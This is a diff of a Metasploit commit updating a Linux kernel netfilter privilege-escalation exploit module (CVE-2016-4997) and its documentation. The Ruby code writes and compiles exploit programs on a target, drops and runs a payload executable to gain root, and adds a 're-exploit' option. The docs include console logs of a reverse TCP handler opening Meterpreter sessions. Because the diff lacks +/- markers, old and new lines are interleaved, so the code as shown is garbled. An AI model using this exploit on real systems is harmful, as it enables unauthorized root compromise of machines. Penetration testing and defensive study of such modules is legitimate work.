1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

reexploit and other docs and edits added

This commit is contained in:
h00die 2016-09-18 08:51:27 -04:00
parent 4be4bcf7eb
commit 4f85a1171f
2 changed files with 150 additions and 63 deletions

View File

@ -2,6 +2,8 @@
Originally this module was written to drop the binary files on the target. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target.
This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing.
## Creating A Testing Environment
There are a few requirements for this module to work:
@ -13,10 +15,14 @@ There are a few requirements for this module to work:
This module has been tested against:
1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
This module *should* work against
1. Ubuntu 16.04
This does not work against the following vulnerable systems. Additional work may be required.
1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18)
2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19)
3. RHEL < [kernel-3.10.0-327.36.1.el7](https://rhn.redhat.com/errata/RHSA-2016-1847.html)
4. Suse < [kernel-default-3.12.59-60.45.2](http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00060.html)
## Verification Steps
@ -37,6 +43,10 @@ This module *should* work against
A folder we can write files to. Defaults to /tmp
**REEXPLOIT**
When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell.
## Scenarios
### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
@ -96,3 +106,31 @@ Escalate
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
### Re-exploit
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
msf exploit(ubuntu_netfilter) > set reexploit true
reexploit => true
msf exploit(ubuntu_netfilter) > set session 2
session => 2
msf exploit(ubuntu_netfilter) > exploit
[*] Started reverse TCP handler on 172.20.14.188:4445
[*] Checking if libc6-dev-i386 is installed
[+] libc6-dev-i386 is installed
[*] Checking if ip_tables.ko is loaded
[+] ip_tables.ko is loaded
[*] Checking if shem or sham are installed
[+] shem and sham not present.
[*] Writing payload to /tmp/OblBUbtc
[*] Writing pwn executable to /tmp/u4PnMEdw.c
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.20.14.188
[*] Meterpreter session 3 opened (172.20.14.188:4445 -> 172.20.14.188:40370) at 2016-09-17 13:35:57 -0400
[+] Deleted /tmp/OblBUbtc
[+] Deleted /tmp/u4PnMEdw.c
[+] Deleted /tmp/u4PnMEdw
[-] Exploit failed: Rex::TimeoutError Operation timed out.
[*] Exploit completed, but no session was created.

View File

@ -14,12 +14,13 @@ class MetasploitModule < Msf::Exploit::Local
def initialize(info = {})
super(update_info(info,
'Name' => 'Ubuntu Netfilter Privilege Escalation',
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
'Description' => %q{
This module attempts to exploit a netfilter bug on Ubuntu 16.04 (not 16.04.1) with kernel
This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
only works against Ubuntu 16.04 (not 16.04.1) with kernel
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
1. ip_tables.ko has to be loaded (root running iptables -L will do such)
2. libc6-dev-i386 needs to be installed to compile
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
Kernel 4.4.0-31-generic and newer are not vulnerable.
We write the ascii files and compile on target instead of locally since metasm bombs for not
@ -35,18 +36,24 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
'Targets' =>
[
[ 'Ubuntu', { } ]
#[ 'Fedora', { } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'EDB', '40049'],
[ 'CVE', '2016-4997']
[ 'CVE', '2016-4997'],
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptString.new('MAXWAIT', [ true, 'Max time to wait for decrementation in seconds', 120 ])
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
], self.class)
end
@ -55,27 +62,56 @@ class MetasploitModule < Msf::Exploit::Local
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
vprint_status('Checking if ip_tables.ko is loaded')
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
if iptables.include?('ip_tables')
vprint_good('ip_tables.ko is loaded')
vprint_status('Checking if ip_tables is loaded in kernel')
if target.name == "Ubuntu"
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
if iptables.include?('ip_tables')
vprint_good('ip_tables.ko is loaded')
else
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
end
return iptables.include?('ip_tables')
elsif target.name == "Fedora"
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
if iptables.include?('iptable_raw')
vprint_good('iptable_raw is loaded')
else
print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
end
return iptables.include?('iptable_raw')
else
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
return false
end
return iptables.include?('ip_tables')
end
def libs_installed?()
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
# libc6-dev-i386 install
vprint_status('Checking if libc6-dev-i386 is installed')
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
vprint_status('Checking if 32bit C libraries are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
return lib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
return (lib.include?('glibc') and lib.include?('libgcc'))
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
return false
end
return lib.include?('install')
end
def shemsham_installed?()
@ -85,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
if shemsham.include?('shem')
print_error('shem installed, system not vulnerable.')
elsif shemsham.include?('sham')
print_error('shem installed, system not vulnerable.')
print_error('sham installed, system not vulnerable.')
else
vprint_good('shem and sham not present.')
end
@ -282,51 +318,64 @@ class MetasploitModule < Msf::Exploit::Local
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def pwn(payload_path, pwn_file, pwn)
# lets write our payload since everythings set for priv esc
vprint_status("Writing payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
cmd_exec("chmod 555 #{payload_path}")
#register_file_for_cleanup(payload_path)
print_status "Writing desc executable to #{desc_file}.c"
rm_f env_ready_file
rm_f "#{desc_file}.c"
rm_f desc_file
write_file("#{desc_file}.c", decr)
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
register_file_for_cleanup(env_ready_file)
register_file_for_cleanup("#{desc_file}.c")
register_file_for_cleanup(desc_file)
if not file_exist?(desc_file)
vprint_error("gcc failure output: #{output}")
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
# now lets drop part 2, and finish up.
print_status "Writing pwn executable to #{pwn_file}.c"
rm_f pwn_file
rm_f "#{pwn_file}.c"
write_file("#{pwn_file}.c", pwn)
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
#register_file_for_cleanup("#{pwn_file}.c")
#register_file_for_cleanup(pwn_file)
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
end
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
if sec_waited % 10 == 0
vprint_status("Waited #{sec_waited}s so far")
# check for shortcut
if datastore['REEXPLOIT']
pwn(payload_path, pwn_file, pwn)
else
print_status "Writing desc executable to #{desc_file}.c"
rm_f env_ready_file
rm_f "#{desc_file}.c"
rm_f desc_file
write_file("#{desc_file}.c", decr)
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
register_file_for_cleanup(env_ready_file)
register_file_for_cleanup("#{desc_file}.c")
register_file_for_cleanup(desc_file)
if not file_exist?(desc_file)
vprint_error("gcc failure output: #{output}")
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
end
if file_exist?(env_ready_file)
print_good("desc finished, env ready.")
# lets write our payload since everythings set for priv esc
vprint_status("Writing payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
# now lets drop part 2, and finish up.
print_status "Writing pwn executable to #{pwn_file}.c"
rm_f pwn_file
rm_f "#{pwn_file}.c"
write_file("#{pwn_file}.c", pwn)
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
register_file_for_cleanup("#{pwn_file}.c")
register_file_for_cleanup(pwn_file)
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
return
if target.name == "Ubuntu"
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
elsif target.name == "Fedora"
vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
end
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
if sec_waited % 10 == 0
vprint_status("Waited #{sec_waited}s so far")
end
if file_exist?(env_ready_file)
print_good("desc finished, env ready.")
pwn(payload_path, pwn_file, pwn)
return
end
sec_waited +=1
end
sec_waited +=1
end
end
end